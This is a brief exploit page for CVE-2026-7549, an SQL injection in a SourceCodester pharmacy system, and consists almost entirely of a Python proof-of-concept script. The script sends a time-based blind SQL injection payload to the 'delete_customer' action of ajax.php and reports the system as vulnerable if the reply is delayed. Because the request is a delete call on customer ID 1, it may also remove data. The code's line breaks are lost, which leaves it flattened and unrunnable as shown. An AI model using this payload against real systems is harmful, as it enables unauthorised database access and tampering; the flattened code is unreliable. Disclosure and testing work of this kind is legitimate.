CVE-2026-7549 SourceCodester药房系统SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ PoC for CVE-2026-7549 SQL Injection Vulnerability Target: /ajax.php?action=delete_customer Parameter: ID """ # The vulnerable endpoint full_url = f"{target_url}/ajax.php" # Payload testing for Time-Based Blind SQL Injection # If the database pauses for 5 seconds, the vulnerability is confirmed. payload = "?action=delete_customer&ID=1' AND (SELECT SLEEP(5))-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Accept": "*/*" } try: print(f"[*] Sending request to: {full_url}{payload}") response = requests.get(full_url + payload, headers=headers, timeout=10) # Check if the response time indicates a successful SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application is vulnerable to SQL Injection.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" check_sqli_vulnerability(target)